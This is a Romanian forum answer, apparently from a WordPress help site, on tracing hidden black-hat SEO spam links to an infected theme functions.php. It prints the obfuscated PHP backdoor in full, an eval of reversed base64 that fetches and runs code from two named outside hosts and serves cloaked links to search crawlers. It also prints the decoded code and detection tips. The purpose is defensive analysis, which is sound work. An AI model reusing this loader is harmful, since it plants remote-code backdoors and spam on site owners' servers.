Sfaturi pentru găsirea linkurilor SPAM injectate în the_content

Nu voi repeta niciunul dintre sfaturile bune din răspunsul lui Squish. Ar trebui să citești și acest articol despre securitatea Wordpress. Voi aborda doar aspectele specifice pe care le-am învățat din experiența mea.

Atacul meu este un fel de SEO black hat cunoscut sub numele de "hideMeYa": http://siteolytics.com/black-hat-seo-technique-demystified/

În esență, atacatorul introduce o grămadă de linkuri ascunse în conținut, astfel încât oamenii să nu le poată vedea, dar Google da. Astfel, ei folosesc site-uri neavizate pentru a crea backlinkuri către site-uri dubioase.

Este greu de spus cu exactitate cum s-a întâmplat acest lucru, dar pe acest site existau două vulnerabilități de securitate cunoscute:

• utilizatorul admin era încă în uz (ar trebui să ștergeți/redenumiti utilizatorul admin).
• Pluginuri și nucleu învechite

În cazul meu, fișierul infectat a fost fișierul functions.php al temei mele. La început era acest cod:

<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=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"(edoced_46esab(lave'));?><?php

Observați cum este numit inteligent să arate ca lucrurile tipice din Wordpress.

Nu voi parcurge întregul cod, dar în esență este o grămadă de cod base64_encodeat ca un șir inversat. strrev() face dificilă găsirea celor două cele mai mari semnale de alarmă aici: base64_encode și eval. Codul neofuscat este inclus mai jos, dar iată cele mai importante concluzii (pe lângă cele spuse de Squish):

• Fiți atenți la eval și base64_decode, dar căutați și echivalentele lor inversate: lave și edoced_46esab
• Căutați și instanțe de strrev. Există câteva utilizări legitime ale acestora în nucleul WP care vor returna fals pozitive, dar nu atât de multe încât să nu puteți examina fiecare.
• În cazul meu, hack-ul nu apare pentru utilizatorii autentificați (verifică cookie-urile clientului), așa că nu lăsați acest lucru să vă încurce. Este o întorsătură inteligentă pentru a confunda utilizatorii care cel mai probabil îl caută.

Noapte bună și noroc.

Codul neofuscat se dovedește a fi acesta:

function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return '';}
function trycurl_999($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}
function tryfile_999($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}
function tryfopen_999($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}
function tryfsockopen_999($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function trysocket_999($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) {    $subject = substr_replace($subject, $replace, $pos, strlen($search));}  return $subject;}
function is_bot_ua(){$bot=0;$ua=@$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}
function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}

function update_file_999(){

    $uri="g.php?t=p&i=7dbdd7b4";
    $actual1="http://nlinthewood.com/".$uri;
    $actual2="http://maxigg.ru/".$uri;
    $val=get_url_999($actual1);
    if ($val=="")$val=get_url_999($actual2);
    if (strstr($val,"|||CODE|||")){
        list($val,$code)=explode("|||CODE|||",$val);
        eval(base64_decode($code));
    }
    return $val;
}